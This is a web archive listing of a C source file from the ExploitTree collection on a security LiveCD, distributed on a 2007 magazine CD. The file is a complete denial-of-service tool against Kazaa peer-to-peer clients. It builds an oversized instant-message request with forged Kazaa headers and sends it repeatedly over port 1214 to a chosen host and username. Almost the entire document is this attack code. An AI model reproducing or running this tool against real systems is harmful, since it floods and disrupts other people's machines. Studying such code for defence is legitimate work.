home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / p2p / kazaa / kazaa-ex.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  92 lines

  1. /*
  2.    kazaa denial of service attack
  3.    by Josh and omega
  4. */
  5.  
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <unistd.h>
  9. #include <errno.h>
  10. #include <string.h>
  11. #include <netdb.h>
  12. #include <sys/types.h>
  13. #include <netinet/in.h>
  14. #include <sys/socket.h>
  15. #include <stdarg.h>
  16.  
  17. #define PORT 1214
  18.  
  19.  
  20. int main(int argc, char *argv[])
  21. {
  22.    int fd, numbytes, randnum, k;
  23.    struct hostent *host;
  24.    struct sockaddr_in them;
  25.    char buf2[4026];
  26.    char buf[5000];
  27.    char *bigboy;
  28.    int i, size, j;
  29.  
  30.  
  31.    memset(buf2, 'a', sizeof(buf2));
  32.    buf2[sizeof(buf2)-1]='\0';
  33.    srand(time(NULL));
  34.  
  35.    if (argc < 5)
  36.    {
  37.       fprintf(stderr,"usage: %s <hostname> <(this*4026) bytes per message> <username_of_target> <number_of_messages>\n", argv[0]);
  38.       exit(1);
  39.    }
  40.    if ((host=gethostbyname(argv[1])) == NULL)
  41.    {
  42.       perror("gethostbyname");
  43.       exit(1);
  44.    }
  45.  
  46.    them.sin_family = AF_INET;
  47.    them.sin_port = htons(PORT);
  48.    them.sin_addr = *((struct in_addr *)host->h_addr);
  49.    memset(&(them.sin_zero), '\0', 8);
  50.  
  51.  
  52.    size=(4042*atoi(argv[2]))+280+1;
  53.    bigboy=(char *)malloc(size);
  54.  
  55.    snprintf(bigboy, size, "GET /.message HTTP/1.1\nHost: 68.10.112.148:1214\nUserAgent: KazaaClient Jan 18 2002 18:53:21\nX-Kazaa-Username: 31337h4x0r\nX-Kazaa-Network: KaZaA\nX-Kazaa-IP: %d:1214\nX-Kazaa-SupernodeIP: %d:1214\nConnection:  open\nX-Kazaa-IMTo: %s@KaZaA\nX-Kazaa-IMType: user_text\n", randnum, randnum, argv[3]);
  56.  
  57.    /* the msg appears as one msg to the receiver, but comes in intervals of 4096 bytes... */
  58.    snprintf(buf, sizeof(buf), "X-Kazaa-IMData: %s\n", buf2);
  59.    for(k=0;k<atoi(argv[2]);k++)
  60.    {
  61.       strcat(bigboy, buf);
  62.       k++;
  63.    }
  64.    strcat(bigboy, "\r\n\r\n\r\n\r\n\r\n");
  65.  
  66.    fprintf(stdout, "done preparing packet... sending\n");
  67.    for(i=0, k=0;i<atoi(argv[4]);i++)
  68.    {
  69.      if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  70.      {
  71.        perror("socket");
  72.      }
  73.      else
  74.      {
  75.        if (connect(fd, (struct sockaddr *)&them,sizeof(struct sockaddr)) == -1)
  76.        {
  77.          perror("connect");
  78.        }
  79.        else
  80.        {
  81.          printf("sending %d message\n", k);
  82.          write(fd, bigboy, strlen(bigboy));
  83.          k++;
  84.          close(fd);
  85.        }
  86.      }
  87.    }
  88.    fprintf(stdout, "\n%d out of %d attempted got through\n", k, i);
  89.    free(bigboy);
  90.    return 0;
  91. }
  92.